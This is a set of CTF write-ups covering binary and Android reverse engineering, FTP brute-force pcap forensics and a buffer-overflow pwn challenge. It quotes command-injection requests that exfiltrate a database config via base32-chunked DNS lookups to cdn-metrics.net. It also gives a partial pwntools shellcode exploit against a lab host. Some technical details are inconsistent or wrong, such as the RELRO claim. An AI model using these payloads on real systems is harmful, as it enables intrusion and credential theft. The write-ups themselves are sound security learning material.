Hello, dr3amy here! Here are some of the challenges I solved in the new platform in town called CTFZONE, let's get down to it.

1. BabyRev Reverse Engineering Challenge

Challenge Description

Just a program printing hello world! Now get me the flag.

Solution Overview

This reverse engineering challenge presents a binary that appears to only print "Hello World!" but contains a hidden flag constructed in memory. The flag is assembled during execution but never displayed, requiring static analysis to discover.

Tools Used

  • file - Binary analysis
  • strings - String extraction
  • objdump - Disassembly and analysis
  • chmod - Permission management

Analysis Process

1. Initial Binary Analysis

file babyrev
# Output: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0018178f308437634202341d70876eb727dfc36d, for GNU/Linux 3.2.0, not stripped

Key observations:

  • 64-bit ELF executable
  • Not stripped (symbols available)
  • PIE (Position Independent Executable)

2. Basic Execution

./babyrev
# Output: Hello World!

As expected from the description, the program only prints "Hello World!".

3. String Analysis

strings babyrev

Found suspicious string fragments (redacted — these spell out the flag):

[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]

4. Disassembly Analysis

Using objdump -d babyrev, I analyzed the main function and discovered the flag construction process:

0000000000001139 <main>:
    1139:   55                      push   %rbp
    113a:   48 89 e5                mov    %rsp,%rbp
    113d:   48 83 ec 30             sub    $0x30,%rsp
    1141:   48 b8 75 72 63 68 69    movabs $0x65736e6968637275,%rax    # [redacted]
    1148:   6e 73 65 
    114b:   48 ba 63 7b 77 65 6c    movabs $0x6d30636c65777b63,%rdx    # [redacted]
    1152:   63 30 6d 
    1155:   48 89 45 d0             mov    %rax,-0x30(%rbp)
    1159:   48 89 55 d8             mov    %rdx,-0x28(%rbp)
    115d:   48 b8 65 5f 74 30 5f    movabs $0x7633725f30745f65,%rax    # [redacted]
    1164:   72 33 76 
    1167:   48 ba 65 72 73 65 5f    movabs $0x474e455f65737265,%rdx    # [redacted]
    116e:   45 4e 47 
    1171:   48 89 45 e0             mov    %rax,-0x20(%rbp)
    1175:   48 89 55 e8             mov    %rdx,-0x18(%rbp)
    1179:   48 b8 73 65 5f 45 4e    movabs $0x4e49474e455f6573,%rax    # [redacted]
    1180:   47 49 4e 
    1183:   48 ba 45 45 52 49 4e    movabs $0x7d474e49524545,%rdx     # [redacted]
    118a:   47 7d 00 
    118d:   48 89 45 ea             mov    %rax,-0x16(%rbp)
    1191:   48 89 55 f2             mov    %rdx,-0xe(%rbp)
    1195:   48 8d 05 68 0e 00 00    lea    0xe68(%rip),%rax        # "Hello World!"
    119c:   48 89 c7                mov    %rax,%rdi
    119f:   b8 00 00 00 00          mov    $0x0,%eax
    11a4:   e8 87 fe ff ff          call   1030 <printf@plt>

5. Flag Reconstruction

The binary constructs the flag by:

  1. Loading 64-bit values into registers using movabs instructions
  2. Storing these values on the stack at specific offsets
  3. Only printing "Hello World!" to mislead analysis

Reconstructed flag: urchinsec{REDACTED}

Key Insights

  • The flag is never printed, only constructed in memory
  • String fragmentation makes it harder to spot in simple string analysis
  • The "Hello World!" output is a distraction from the real challenge
  • Static analysis was required since dynamic execution only shows the decoy output

Final Flag

urchinsec{REDACTED}

Lessons Learned

  • Always perform both static and dynamic analysis
  • Don't trust program output at face value in CTF challenges
  • Fragmented strings in binaries often indicate hidden data
  • Assembly analysis can reveal data that's never displayed during execution

2. Daddyrev Reverse Engineering

Challenge Description

I like my environment to be very clean! Can you identify what's missing?

Tools Used

  • file - File type identification
  • strings - String extraction
  • objdump - Disassembly and symbol analysis
  • readelf - ELF file analysis
  • hexdump - Hex dump utility
  • dd - Data extraction utility
  • gccgo-go - Go runtime libraries

Step-by-Step Solution

1. Initial Binary Analysis

file daddyrev

Result: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, with debug_info, not stripped

The binary was identified as a 64-bit ELF executable written in Go, with debug information and not stripped, making reverse engineering easier.

2. Initial String Analysis

strings daddyrev | head -20

Key Findings:

  • Go runtime references (main.main, __go_, Go package imports)
  • encoding_1hex..import - suggesting hex encoding might be relevant
  • getenv - indicating environment variable checks

3. Runtime Dependencies

./daddyrev

Error: error while loading shared libraries: libgo.so.23: cannot open shared object file

Solution:

sudo apt install -y gccgo-go

4. Environment Variable Discovery

strings daddyrev | grep -E "(FLAG|ENV|PATH|HOME|USER|TERM)"

Results: Build-related flags but no obvious environment variable names

objdump -d daddyrev | grep -A20 -B5 "getenv"

Key Finding: Found getenv call at address 0x5fa1 with reference to address 0x7210

5. Environment Variable Name Extraction

readelf -x .rodata daddyrev | grep -A10 -B10 "7210"

Result: Found SPLIT_STACK_GUARD at address 0x7210

6. First Environment Variable Test

export SPLIT_STACK_GUARD=1 && ./daddyrev

Output: You are trying so hard but you are failing!

This confirmed the program was checking for the SPLIT_STACK_GUARD environment variable.

7. Main Function Analysis

objdump -d daddyrev | grep -A50 "main.main>"

Key Findings:

  • os.LookupEnv@plt call at address 0x4d23
  • Length check for 7 characters (cmp $0x7,%rbx)
  • Comparison to "ctfzone" (0x7a667463 in hex)

8. Second Environment Variable Discovery

readelf -x .rodata daddyrev | grep -A20 -B5 "7100"

Critical Finding: At address 0x7110 found ewpew.ctfzone

This suggested the program was looking for environment variable ewpew with value ctfzone.

9. Environment Variable Testing

ewpew=ctfzone ./daddyrev

Output: urchinsec{REDACTED}

10. Combined Environment Variables

pewpew=ctfzone SPLIT_STACK_GUARD=1 ./daddyrev

Output: urchinsec{REDACTED}

11. Flag Verification

The flag urchinsec{REDACTED} was submitted and confirmed as correct.

Technical Analysis

Binary Structure

  • Language: Go programming language
  • Architecture: 64-bit ELF executable
  • Debug Info: Present and not stripped
  • Packing: None (unlike the previous mamarev.elf challenge)

Environment Variable Logic

The program implements a two-stage environment variable check:

  1. First Check: SPLIT_STACK_GUARD environment variable

    • Any non-empty value passes this check
    • If missing, program exits with no output
    • If present but incorrect, shows "You are trying so hard but you are failing!"
  2. Second Check: pewpew environment variable

    • Must have exactly 7 characters
    • Must equal "ctfzone"
    • Only when both conditions are met does the program reveal the flag

Assembly Analysis

Key assembly instructions in main.main:

; Call os.LookupEnv to get environment variable
4d23:   e8 28 f4 ff ff          call   4150 <os.LookupEnv@plt>

; Check if length is 7 characters
4d55:   48 83 fb 07             cmp    $0x7,%rbx
4d59:   75 1e                   jne    4d79 <main.main+0x99>

; Compare to "ctfzone" (0x7a667463 = "ctf" in little endian)
4d6b:   41 81 7d 00 63 74 66    cmpl   $0x7a667463,0x0(%r13)
4d73:   0f 84 2c 03 00 00       je     50a5 <main.main+0x3c5>

Memory Layout Analysis

Key addresses and their contents:

  • 0x7110: ewpew.ctfzone - Environment variable name and expected value
  • 0x7210: SPLIT_STACK_GUARD - First environment variable name
  • 0x71d0-0x71e0: "You are trying so hard but you are failing!" - Failure message
  • 0x71c0: "freeze!" - Part of the failure message

Final Flag

urchinsec{REDACTED}

Summary

The challenge required identifying two missing environment variables that the program expected:

  1. SPLIT_STACK_GUARD - Any non-empty value
  2. pewpew - Must be exactly "ctfzone"

The reverse engineering process involved:

  • Static analysis of the Go binary to identify environment variable checks
  • String analysis to find variable names and expected values
  • Assembly analysis to understand the logic flow and conditions
  • Systematic testing of environment variable combinations

The challenge theme "I like my environment to be very clean!" directly hinted that environment variables were the key to solving the challenge.

Key Learning Points

  • Go binaries have distinctive string patterns and runtime references
  • Environment variable-based challenges are common in CTFs
  • The os.LookupEnv function in Go is used to retrieve environment variables
  • Assembly analysis can reveal exact comparison logic and expected values
  • Multiple environment variables may need to be set in combination
  • Debug information in binaries significantly aids reverse engineering efforts

3. Mamarev Reverse Engineering

Challenge Description

The goal is simple but hard, analyze the binary, break it down, and get us the flag!

Tools Used

  • file - File type identification
  • upx - UPX unpacker
  • strings - String extraction
  • objdump - Disassembly and symbol analysis
  • nm - Symbol table listing
  • readelf - ELF file analysis
  • gcc - C compiler for custom decryption tools
  • gdb - Debugger (installed but not extensively used)
  • xxd - Hex viewer
  • hexdump - Hex dump utility

Step-by-Step Solution

1. Initial Binary Analysis

file mamarev.elf

Result: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header

The binary was identified as a 64-bit ELF executable with no section headers, which is unusual and often indicates packing.

2. String Analysis and UPX Detection

strings mamarev.elf | head -50

Key Finding: The strings output contained UPX! at the beginning, indicating the binary was packed with UPX (Ultimate Packer for eXecutables).

3. UPX Unpacking

Since UPX was detected, the binary needed to be unpacked to analyze the actual code:

# Install UPX if not present
sudo apt install upx-ucl

# Unpack the binary
upx -d mamarev.elf -o mamarev_unpacked.elf

Result: Successfully unpacked from 794,928 bytes to 2,372,635 bytes (33.50% compression ratio)

4. Post-Unpacking Analysis

file mamarev_unpacked.elf

Result: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, not stripped

The unpacked binary was now analyzable with proper section headers and symbols.

5. Flag-Related Function Discovery

strings mamarev_unpacked.elf | grep -i flag

Key Findings:

  • _ZL14encrypted_flag - Symbol for encrypted flag data
  • _Z12decrypt_flagB5cxx11v - Symbol for decryption function
  • _Z12decrypt_flagB5cxx11v.cold - Cold path for decryption function

6. Symbol Table Analysis

objdump -t mamarev_unpacked.elf | grep flag
nm mamarev_unpacked.elf | grep flag

Critical Information:

  • _ZL14encrypted_flag at address 0x569530 in .rodata section (31 bytes)
  • _Z12decrypt_flagB5cxx11v at address 0x4053e0 in .text section

7. Encrypted Data Extraction

readelf -x .rodata mamarev_unpacked.elf | grep -A20 "569530"

Encrypted Flag Data:

0x00569530 8a8d9c97 96918c9a 9c8487cf 8da0cf9d
0x00569540 998a8c9c cb8bcc9b a09c97cb 93938200

Extracted bytes: 8a 8d 9c 97 96 91 8c 9a 9c 84 87 cf 8d a0 cf 9d 99 8a 8c 9c cb 8b cc 9b a0 9c 97 cb 93 93 82

8. Decryption Function Analysis

objdump -d mamarev_unpacked.elf --start-address=0x4053e0 --stop-address=0x405500

Key Assembly Instructions:

  • 41 f7 d5 - not %r13d - Bitwise NOT operation on each byte
  • The function reads each encrypted byte, applies NOT operation, and stores the result

9. Binary Execution Test

chmod +x mamarev_unpacked.elf
./mamarev_unpacked.elf

Output:

[+] CTFZONE [+]
Analyze this binary and grab the hidden flag
All the best! ;)

10. Decryption Implementation

Created a simple C program to test the decryption:

#include <stdio.h>
#include <stdint.h>

int main() {
    // Encrypted flag data from 0x569530
    unsigned char encrypted[] = {
        0x8a, 0x8d, 0x9c, 0x97, 0x96, 0x91, 0x8c, 0x9a,
        0x9c, 0x84, 0x87, 0xcf, 0x8d, 0xa0, 0xcf, 0x9d,
        0x99, 0x8a, 0x8c, 0x9c, 0xcb, 0x8b, 0xcc, 0x9b,
        0xa0, 0x9c, 0x97, 0xcb, 0x93, 0x93, 0x82
    };
    
    int len = sizeof(encrypted);
    
    printf("NOT operation: ");
    for (int i = 0; i < len; i++) {
        unsigned char not_byte = ~encrypted[i];
        printf("%c", not_byte);
    }
    printf("\n");
    
    return 0;
}

11. Flag Recovery

Compiling and running the decryption program:

gcc -o decrypt_simple decrypt_simple.c
./decrypt_simple

Decryption Process:

  1. Original encrypted: 8a 8d 9c 97 96 91 8c 9a 9c 84 87 cf 8d a0 cf 9d 99 8a 8c 9c cb 8b cc 9b a0 9c 97 cb 93 93 82
  2. NOT operation applied: [REDACTED — decoded flag bytes]
  3. ASCII interpretation: urchinsec{REDACTED}

Final Flag

urchinsec{REDACTED}

Summary

The challenge involved a UPX-packed binary containing an encrypted flag. The encryption was a simple bitwise NOT operation applied to each character. The reverse engineering process required:

  1. Unpacking the UPX-compressed binary
  2. Static analysis to identify flag-related symbols
  3. Memory extraction of the encrypted data
  4. Assembly analysis to understand the decryption algorithm
  5. Implementation of the decryption logic

The flag content suggests this was a "xor obfuscated challenge," though the actual encryption used was NOT rather than XOR.

Key Learning Points

  • Always check for common packers like UPX when binaries have unusual characteristics
  • Symbol analysis in C++ binaries reveals mangled names that can be decoded
  • Simple bitwise operations (NOT, XOR) are common in basic CTF challenges
  • Static analysis tools like objdump and readelf are essential for binary reverse engineering

4. NativeLand

Challenge Information

  • Challenge Name: NativeLand
  • Category: Mobile/Reverse Engineering
  • Difficulty: Easy/Medium
  • Description: "Now that i know people can just view my java/kotlin code, i found a better way. now get the flag for me"

Objective

Extract the hidden flag from the Android APK file nativeland.apk. The challenge creator moved from Java/Kotlin to native code thinking it would be more secure.

Tools Used

  • unzip - APK extraction
  • file - Binary analysis
  • strings - String extraction from binaries
  • tr - ROT13 decoding
  • ls/find - Directory navigation and file discovery

Methodology

Step 1: APK Extraction and Initial Analysis

First, I extracted the APK file to examine its structure:

cd /home/egovridc/Downloads/CTFZONE/native-land
unzip -q nativeland.apk -d extracted

This revealed the standard Android APK structure:

extracted/
├── AndroidManifest.xml
├── classes.dex
├── classes2.dex
├── lib/
│   ├── arm64-v8a/
│   ├── armeabi-v7a/
│   ├── x86/
│   └── x86_64/
├── res/
├── assets/
└── resources.arsc

Step 2: Native Library Discovery

The challenge description hinted at moving away from Java/Kotlin, so I focused on the native libraries:

ls extracted/lib/arm64-v8a/
# Output: libnativeland.so

file extracted/lib/arm64-v8a/libnativeland.so
# Output: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV), 
# dynamically linked, for Android 31, built by NDK r27 (12077973), 
# BuildID[sha1]=6f354b55d35cf09827522f131e2be7590ae27c87, stripped

The binary was stripped, meaning debugging symbols were removed, but this doesn't prevent string analysis.

Step 3: String Extraction and Analysis

I extracted all readable strings from the native library:

strings extracted/lib/arm64-v8a/libnativeland.so

This revealed several interesting strings, including:

  • Java_com_ctfzone_nativeland_MainActivity_stringFromJNI - JNI function name
  • _Z5countv and _Z12keep_me_safev - C++ mangled function names
  • Most importantly, a ROT13-encoded flag string: [REDACTED — ROT13-encoded flag]

Step 4: Flag Decoding

The encoded string appeared to be ROT13 (a simple substitution cipher). Decoding it:

echo "[REDACTED]" | tr 'a-zA-Z' 'n-za-mN-ZA-M'
# Output: ctfzone{REDACTED}

Solution

Flag: ctfzone{REDACTED}

Key Insights

  1. Native Code Isn't Always Safer: The challenge creator assumed native code would be more secure, but basic string analysis was sufficient to extract the flag.

  2. ROT13 Encoding: The flag was encoded using ROT13, a simple Caesar cipher with a shift of 13. This is commonly used in CTF challenges to hide flags in plain sight.

  3. JNI Function Discovery: The presence of Java_com_ctfzone_nativeland_MainActivity_stringFromJNI confirmed this was indeed a JNI-based challenge where the native code is called from Java.

  4. String Analysis Power: Even in stripped binaries, strings command can reveal valuable information including hardcoded strings, function names, and sometimes flags.

Defense Recommendations

For developers wanting to actually secure their native code:

  1. Avoid Hardcoding Flags: Never store sensitive information as plaintext strings in binaries
  2. Use Stronger Encryption: If encoding is necessary, use proper encryption rather than simple ciphers
  3. Obfuscation Techniques: Consider binary obfuscation tools that make string extraction more difficult
  4. Runtime Generation: Generate sensitive data at runtime rather than storing it statically

Conclusion

This challenge demonstrates that moving from Java/Kotlin to native code doesn't automatically provide security. Basic reverse engineering techniques like string analysis can still reveal sensitive information. The flag's message serves as a reminder that security through obscurity is never sufficient.

5. BlueHarbor Solutions Incident Capture - Forensic Analysis

Challenge Overview

BlueHarbor Solutions detected suspicious activity on an internal file server. Network monitoring showed repeated login attempts followed by a successful authentication, after which files were accessed from the server. The security team captured the network traffic during the incident.

Objective: Analyze the network capture to identify the attacker, victim, protocol used, and compromised credentials.

Tools Used

  • Wireshark/tshark - Network protocol analyzer
  • Linux command line tools - For data extraction and analysis

Analysis Methodology

1. Initial Reconnaissance

First, I examined the provided files:

  • challenge.txt - Contains the scenario description and flag format
  • incident_capture.pcap - Network traffic capture file (6.5MB)

The flag format specified: ctfzone{attackersIP_victimsIP_protocol_username_password}

2. Network Traffic Analysis

Identifying Communication Patterns

Using tshark to analyze conversations between IPs:

tshark -r incident_capture.pcap -q -z conv,ip

This revealed extensive FTP traffic between two main IP addresses:

  • 10.173.75.84
  • 10.173.75.200

Protocol Identification

Filtering for common authentication protocols:

tshark -r incident_capture.pcap -Y "ftp || ssh || telnet || http"

Results showed FTP as the primary protocol used for the attack.

Determining Attacker vs Victim

To identify which IP was the attacker and which was the victim:

  1. FTP Service Banner Analysis:

    tshark -r incident_capture.pcap -Y "ftp.response.code == 220"
    

    Results showed 10.173.75.200 sending FTP service banners:

    220 (vsFTPd 3.0.5)
    
  2. Connection Initiation Analysis:

    tshark -r incident_capture.pcap -Y "tcp.flags.syn==1 && tcp.flags.ack==0 && tcp.port == 21"
    

    Results showed 10.173.75.84 initiating connections to 10.173.75.200 on port 21.

Conclusion:

  • Attacker: 10.173.75.84 (client initiating connections)
  • Victim: 10.173.75.200 (FTP server)

3. Credential Extraction

Finding Successful Authentication

Located the successful login attempt:

tshark -r incident_capture.pcap -Y "ftp.response.code == 230"

Found successful login at frame 16234:

16234   10.173.75.200   10.173.75.84    230     Login successful.

Tracing Authentication Sequence

Analyzed frames around the successful login to identify the credentials:

tshark -r incident_capture.pcap -Y "frame.number >= 16215 && frame.number <= 16235"

The authentication sequence was:

  1. Frame 16216: USER [REDACTED] - Username provided
  2. Frames 16224-16230: Multiple password attempts (values redacted):
    • PASS [redacted]
    • PASS [redacted]
    • PASS [redacted]
    • PASS [redacted]
    • PASS [REDACTED] ← Successful
  3. Frame 16234: 230 Login successful.

Key Findings

| Element | Value | |---------|-------| | Attacker IP | 10.173.75.84 | | Victim IP | 10.173.75.200 | | Protocol | FTP | | Username | [REDACTED] | | Password | [REDACTED] |

Attack Timeline

  1. Reconnaissance: Multiple FTP connection attempts from attacker to victim
  2. Brute Force Attack: Repeated login attempts with a single username and various passwords
  3. Successful Compromise: A weak numeric password successfully authenticated
  4. Post-Compromise: Attacker gained access to files on the server

Security Recommendations

For BlueHarbor Solutions

  1. Implement Account Lockout Policies

    • Lock accounts after 3-5 failed login attempts
    • Implement exponential backoff for login attempts
  2. Strong Password Policies

    • Enforce complex password requirements
    • Regular password rotation
    • Avoid common/weak passwords
  3. Network Monitoring

    • Implement real-time intrusion detection
    • Monitor for brute force patterns
    • Alert on unusual login activity
  4. FTP Security

    • Consider replacing FTP with SFTP/FTPS
    • Implement IP whitelisting for administrative access
    • Use multi-factor authentication where possible
  5. Log Analysis

    • Centralized log collection and analysis
    • Regular security log reviews
    • Automated alerting for suspicious patterns

Technical Command Summary

# Analyze network conversations
tshark -r incident_capture.pcap -q -z conv,ip

# Filter for authentication protocols
tshark -r incident_capture.pcap -Y "ftp || ssh || telnet || http"

# Find FTP service banners
tshark -r incident_capture.pcap -Y "ftp.response.code == 220"

# Identify connection initiators
tshark -r incident_capture.pcap -Y "tcp.flags.syn==1 && tcp.flags.ack==0 && tcp.port == 21"

# Find successful logins
tshark -r incident_capture.pcap -Y "ftp.response.code == 230"

# Extract credentials
tshark -r incident_capture.pcap -Y "ftp.request.command == USER || ftp.request.command == PASS"

Flag

ctfzone{REDACTED}

Lessons Learned

This incident demonstrates the importance of:

  • Strong password policies to prevent brute force attacks
  • Network monitoring to detect suspicious activity patterns
  • Proper logging and alerting mechanisms
  • Regular security audits of authentication systems

The attacker used a simple brute force technique against FTP services, highlighting why legacy protocols like FTP should be replaced with more secure alternatives in modern environments.

6. Silent Exfiltration

Challenge Overview

NorthBridge Analytics detected unusual outbound network activity from one of their internal web servers during off-hours. No alerts were triggered, but traffic logs suggest that sensitive data may have been quietly extracted.

Objective: Analyze the network capture to uncover how the breach occurred and what information was stolen.

Flag Format: ctfzone{ATTACKERIP_VICTIMIP_(db_user)_(db_pass)}

Analysis Methodology

1. Initial Reconnaissance

  • Examined the provided files: capture.pcap (network capture) and silent_exfiltration.txt (challenge description)
  • Used tshark for network traffic analysis

2. Traffic Analysis

Conversation Statistics

tshark -r capture.pcap -q -z conv,ip

Key findings:

  • Primary server: 10.173.75.200 (internal web server)
  • Suspicious activity: Multiple conversations with external IPs
  • Notable internal communication: 10.173.75.200 ↔ 10.173.75.84

HTTP Traffic Analysis

tshark -r capture.pcap -Y "http.request" -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri

Discovered malicious requests from 10.173.75.84 to 10.173.75.200:

/search.php?q=apple;ls
/search.php?q=apple;ls%20/
/search.php?q=apple;ls%20/var/backups
/search.php?q=apple;cat%20/var/www/html/config/db_backup.conf%20|%20base32%20>%20/tmp/db_backup.b32
/search.php?q=apple;cat%20/var/www/html/config/db_backup.conf%20|%20base32%20|%20fold%20-w20%20|%20while%20read%20c;%20do%20nslookup%20$c.cdn-metrics.net;%20done

3. Attack Vector Identification

  • Vulnerability: Command injection in the search.php?q parameter
  • Attack pattern: Using apple; as a prefix to bypass input validation
  • Commands executed:
    1. Directory enumeration (ls)
    2. File system reconnaissance
    3. Database configuration file access
    4. Data exfiltration setup

4. Data Exfiltration Analysis

DNS Tunneling Discovery

tshark -r capture.pcap -Y "dns && dns.qry.name contains \"cdn-metrics\"" -T fields -e dns.qry.name

Found suspicious DNS queries (subdomain payloads redacted — they decode to the credentials):

[REDACTED].cdn-metrics.net
[REDACTED].cdn-metrics.net  
[REDACTED].cdn-metrics.net
[REDACTED].cdn-metrics.net

Data Reconstruction

The attacker used base32 encoding with 20-character chunks, transmitted via DNS subdomains:

echo "[REDACTED base32 payload]" | base32 -d

Decoded data:

db_user=[REDACTED]
db_pass=[REDACTED]

Attack Timeline

  1. Reconnaissance: Attacker (10.173.75.84) scans the web server (10.173.75.200)
  2. Exploitation: Command injection vulnerability discovered and exploited
  3. Privilege Escalation: System commands executed to enumerate file system
  4. Data Discovery: Located database configuration file at /var/www/html/config/db_backup.conf
  5. Exfiltration: Used DNS tunneling with base32 encoding to steal credentials
  6. Cover-up: Data transmitted in small chunks to avoid detection

Security Findings

Vulnerabilities Exploited

  • Command Injection: Poor input validation in search functionality
  • File Exposure: Sensitive configuration files accessible via web server
  • Insufficient Monitoring: DNS exfiltration went undetected

Exfiltration Technique

  • Protocol: DNS queries (harder to detect than HTTP/HTTPS)
  • Encoding: Base32 (DNS-friendly character set)
  • Chunking: 20-character segments to avoid DNS length limits
  • Domain: Legitimate-looking cdn-metrics.net subdomains

Flag Construction

Using the recovered information:

  • Attacker IP: 10.173.75.84
  • Victim IP: 10.173.75.200
  • Database User: [REDACTED]
  • Database Password: [REDACTED]

Final Flag: ctfzone{REDACTED}

Lessons Learned

Detection Strategies

  1. Monitor DNS Queries: Unusual patterns or high volume to suspicious domains
  2. Command Injection Protection: Input validation and parameterized queries
  3. File Permissions: Restrict access to sensitive configuration files
  4. Network Baselines: Establish normal traffic patterns to detect anomalies

Prevention Measures

  1. Input Validation: Sanitize all user inputs, especially in search functions
  2. Least Privilege: Web applications should have minimal file system access
  3. DNS Monitoring: Implement DNS query logging and analysis
  4. Egress Filtering: Monitor and restrict outbound network traffic

Tools Used

  • TShark: Network protocol analyzer
  • Base32: Decoding utility for exfiltrated data
  • Command Line: Standard Linux utilities for analysis

Conclusion

This challenge demonstrates how attackers can use legitimate protocols (DNS) for covert data exfiltration, bypassing traditional security controls. The multi-stage attack shows the importance of defense-in-depth security strategies and comprehensive monitoring across all network protocols.

7. Android APK Reverse Engineering

Challenge Overview

Successfully extracted the flag from a mobile CTF challenge APK file todo.apk. This demonstrates that mobile CTF challenges are still solvable with proper reverse engineering techniques.

Flag: urchinsec{REDACTED}

Tools Used

  • Basic Linux utilities (unzip, strings, hexdump, file, grep)
  • No specialized tools required (apktool, jadx not available)

Step-by-Step Solution

1. Initial APK Analysis

First, examine the APK file structure and confirm it's a valid Android package:

# Check file type
file todo.apk

# List APK contents
unzip -l todo.apk

Output:

todo.apk: Zip archive data, at least v0.0 to extract, compression method=deflate

The APK contains multiple DEX files, resources, and native libraries - typical for a modern Android app.

2. Extract APK Contents

Extract the APK to analyze its contents:

mkdir -p todo_extracted
unzip -q todo.apk -d todo_extracted
ls -la todo_extracted/

Key findings:

  • Multiple DEX files (classes.dex, classes2.dex, ..., classes7.dex)
  • AndroidManifest.xml
  • Resources and native libraries
  • The app package is com.ctfzonelabs.todo

3. Search for Flag Patterns

Search through all DEX files for flag-related strings:

# Search for common flag patterns
for dex in todo_extracted/classes*.dex; do 
    echo "=== $dex ==="
    strings "$dex" | grep -i -E "(urchinsec|ctfzone|flag)" | head -10
done

Results:

  • Found references to flag and SecretFlagDialog in classes4.dex
  • Package name confirms CTF origin: com.ctfzonelabs.todo

4. Deep String Analysis

Focus on the most promising DEX file (classes4.dex):

# Extract all strings from classes4.dex
strings todo_extracted/classes4.dex | grep -E "(urchinsec|ctfzone|SecretFlagDialog)" -A 2 -B 2

Critical discovery:

Dcom.ctfzonelabs.todo.ui.screens.SecretFlagDialog (TodoScreen.kt:167)
urchinsec{REDACTED}

5. Hex Dump Verification

Verify the flag location using hex dump:

hexdump -C todo_extracted/classes4.dex | grep -A 5 -B 5 "urchinsec\|ctfzone"

This confirms the flag is embedded as a hardcoded string in the compiled Kotlin code.

6. Alternative Search Methods

Additional commands that can be useful:

# Search for specific flag formats
strings todo_extracted/classes.dex | grep -E "^[a-zA-Z0-9_{}]+$" | grep -E "(urchinsec|ctfzone|flag)"

# Search for any string containing flag-related terms
strings todo_extracted/classes*.dex | grep -i flag

# Look for Base64 encoded content (potential obfuscation)
strings todo_extracted/classes*.dex | grep -E "^[A-Za-z0-9+/]{20,}={0,2}$"

Key Findings

App Structure

  • Package: com.ctfzonelabs.todo
  • Main Activity: Todo app with task management functionality
  • Technology: Kotlin with Jetpack Compose UI
  • Flag Location: Hardcoded in TodoScreen.kt at line 167 (SecretFlagDialog)

Flag Location Analysis

The flag was found in:

  • File: classes4.dex
  • Component: SecretFlagDialog composable function
  • Source: Likely displayed when users trigger a hidden feature in the app
  • Format: urchinsec{REDACTED}

Why This Approach Works

  1. String Analysis: Modern Android apps often contain hardcoded strings that survive compilation
  2. DEX Files: Even with obfuscation, string literals remain accessible
  3. Kotlin/Compose: UI components often contain hardcoded text for dialogs and messages
  4. CTF Patterns: Challenge creators often embed flags in obvious but slightly hidden locations

Common Pitfalls to Avoid

  1. Missing Multiple DEX Files: Android apps can have multiple DEX files - search all of them
  2. Ignoring Native Libraries: Sometimes flags are hidden in native code (.so files)
  3. Overlooking Resources: Check resources.arsc and XML files for encoded data
  4. Complex Tools: Sometimes simple string analysis is more effective than complex decompilers

Advanced Techniques (if basic analysis fails)

  1. APKTool: apktool d todo.apk - Smali code analysis
  2. Jadx: jadx todo.apk - Java decompilation
  3. Frida: Runtime hooking and analysis
  4. Ghidra: Binary analysis of native libraries

Conclusion

This challenge proves that mobile CTF challenges remain accessible with fundamental reverse engineering skills. The flag was extracted using only basic Linux utilities, demonstrating that sophisticated tools aren't always necessary.

Key takeaway: Always start with simple string analysis before moving to complex decompilation tools - many CTF challenges embed flags in plain sight within the compiled code.

Time Complexity

  • Analysis Time: ~5-10 minutes
  • Commands Used: 6 main commands
  • Success Rate: High for this type of challenge

Defense Recommendations

For developers wanting to protect their apps:

  1. Avoid hardcoding sensitive information
  2. Use string encryption or obfuscation
  3. Implement runtime flag generation
  4. Use native code for critical operations
  5. Apply code obfuscation tools (ProGuard/R8)

8. Global Cash Terminal (Pwn)

Challenge Overview

  • Challenge Name: Global Cash Terminal (bank_chall)
  • Category: Pwn
  • Difficulty: Easy
  • Points: 100 points
  • Description: "Welcome to the next generation of the Global Cash Terminal. This high-performance ATM software has been updated for maximum reliability and speed. Please perform a standard audit of the modules to ensure system integrity."

Analysis

Binary Information

bank_chall: ELF 32-bit, no canary, NX disabled, no PIE, partial RELRO

Key security mitigations:

  • No Canary: Stack canary is disabled, making buffer overflow detection impossible
  • NX Disabled: Stack is executable, allowing us to place shellcode directly on the stack
  • No PIE: Binary loads at fixed address (0x8048000), making ROP gadgets reliable
  • Partial RELRO: Got overwrite not possible, but stack is exploitable

Vulnerability Discovery

Analyzing the binary reveals a classic buffer overflow vulnerability in the feedback system:

// Vulnerable code (feedback function)
sub esp, 0x44          ; allocate 0x44 (68) bytes for locals
lea eax, [ebp-0x48]   ; load buffer address
call gets@plt          ; UNBOUNDED INPUT - classic overflow

The issue: The function allocates 0x44 bytes on the stack but uses a buffer at [ebp-0x48], which is 72 bytes from the saved return address. The gets() function reads unlimited input, allowing us to overwrite past the buffer.

Memory Layout (Stack)

From the start of the buffer [ebp-0x48] to the saved return address [ebp+4]:

  • [ebp-0x48] → Buffer start (offset 0)
  • [ebp-0x4] → Saved ebx (offset 0x44 = 68 bytes)
  • [ebp] → Saved ebp (offset 0x48 = 72 bytes)
  • [ebp+4] → Saved return address (offset 0x4c = 76 bytes)

Available Gadgets

The binary contains a useful jmp esp gadget at address 0x80491e3:

80491d6:  push ebp
80491d7:  mov  ebp, esp
80491d9:  call 804958b
...
80491e3:  ff e4    jmp esp

This allows us to redirect execution to our shellcode on the stack.

Trigger Path to Vulnerable Code

  1. Login: Main function (0x80494eb) reads username/password with fgets
  2. Menu: Menu function (0x80493d3) displays options
  3. Withdraw: Select option "3. Withdraw Funds"
  4. Success: Withdraw function (0x80492fe) processes the withdrawal
  5. Feedback: After successful withdrawal, calls vulnerable feedback function (0x80491e8)

The feedback function prints: [SYSTEM] Transaction complete. Please enter a brief comment for our records: then calls gets().

Exploit Strategy

Since NX is disabled, we can place shellcode directly on the stack:

  1. Overflow: Send 76 bytes of padding to reach the saved return address
  2. Redirect: Overwrite return address with jmp esp gadget (0x80491e3)
  3. Execute: Our shellcode will be at ESP when jmp esp executes

Exploit Code

from pwn import *

# Connect to remote server
p = remote('labs.ctfzone.com', 7480)
context.binary = ELF('./bank_chall')
context.arch = 'i386'
context.os = 'linux'

# Exploit parameters
offset = 76                    # Offset to return address
jmp_esp = 0x80491e3            # jmp esp gadget address
shellcode = asm(shellcraft.sh())  # Shellcode to spawn /bin/sh

